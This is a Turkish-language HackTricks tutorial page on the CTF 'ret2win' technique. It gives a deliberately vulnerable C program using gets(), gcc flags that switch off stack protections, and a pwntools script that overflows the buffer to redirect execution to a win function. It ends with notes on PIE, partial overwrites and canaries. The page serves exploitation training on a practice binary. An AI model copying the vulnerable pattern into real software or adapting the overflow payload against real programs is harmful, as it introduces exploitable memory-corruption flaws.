hacktricks/binary-exploitation/stack-overflow/ret2win.md

7.7 KiB
Raw Blame History

Ret2win

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Ret2win zorlukları, özellikle binary exploitation içeren görevlerde, Capture The Flag (CTF) yarışmalarında popüler bir kategoridir. Amacımız, verilen bir binary dosyasındaki bir zafiyeti sömürerek genellikle win, flag vb. gibi adlandırılan belirli bir çağrılmamış işlevi çalıştırmaktır. Bu işlev çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için stack üzerindeki return address'i üzerine yazarak bir zafiyeti sömürmek gerekmektedir. İşte örneklerle daha detaylı bir açıklama:

C Örneği

Zafiyeti olan basit bir C programı ve çağırmayı amaçladığımız bir win işlevi düşünelim:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Bu programı yığın korumaları olmadan ve ASLR devre dışı bırakılarak derlemek için aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Programı 32 bitlik bir ikili olarak derle (bu isteğe bağlıdır ancak CTF zorluklarında yaygındır).
  • -fno-stack-protector: Stack overflow'lara karşı korumaları devre dışı bırak.
  • -z execstack: Stack üzerinde kodun çalışmasına izin ver.
  • -no-pie: Adresin win fonksiyonunun değişmediğinden emin olmak için Konum Bağımsız Yürütülebilirliği devre dışı bırak.
  • -o vulnerable: Çıkış dosyasını vulnerable olarak adlandır.

Pwntools Kullanarak Python Sızma

Sızma için güçlü bir CTF çerçevesi olan pwntools kullanacağız. Sızma betiği, tamponu taşırarak ve dönüş adresini win fonksiyonunun adresiyle değiştirerek bir yük oluşturacaktır.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win fonksiyonunun adresini bulmak için gdb, objdump veya binary dosyaları incelemenize izin veren diğer araçları kullanabilirsiniz. Örneğin, objdump ile şu şekilde kullanabilirsiniz:

objdump -d vulnerable | grep win

Bu komut, win fonksiyonunun montajını ve başlangıç adresini gösterecektir.

Python betiği, vulnerable_function tarafından işlendiğinde tamamen özenle oluşturulmuş bir mesaj gönderir ve bu mesaj, tamponu taşırarak yığın üzerindeki dönüş adresini win adresiyle üzer yazar. vulnerable_function geri döndüğünde, maine geri dönmek veya çıkmak yerine wine atlar ve mesaj yazdırılır.

Korumalar

  • PIE adresin güvenilir olması için devre dışı bırakılmalıdır ya da işlevin depolanacağı adres her zaman aynı olmayacak ve win fonksiyonunun yüklendiği yeri belirlemek için bir sızıntıya ihtiyacınız olacaktır. Taşma nedeni olan işlev read veya benzeri olduğunda, dönüş adresini win fonksiyonu olacak şekilde 1 veya 2 bayt Kısmi Üzerine Yazma yapabilirsiniz. ASLR'nin çalışma şeklinden dolayı, son üç onaltılık hane rastgele değildir, bu yüzden doğru dönüş adresini elde etmek için 1/16 şans (1 onaltılık) vardır.
  • Yığın Kanaryaları da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşen EIP dönüş adresi asla takip edilmeyecektir.

Diğer örnekler ve Referanslar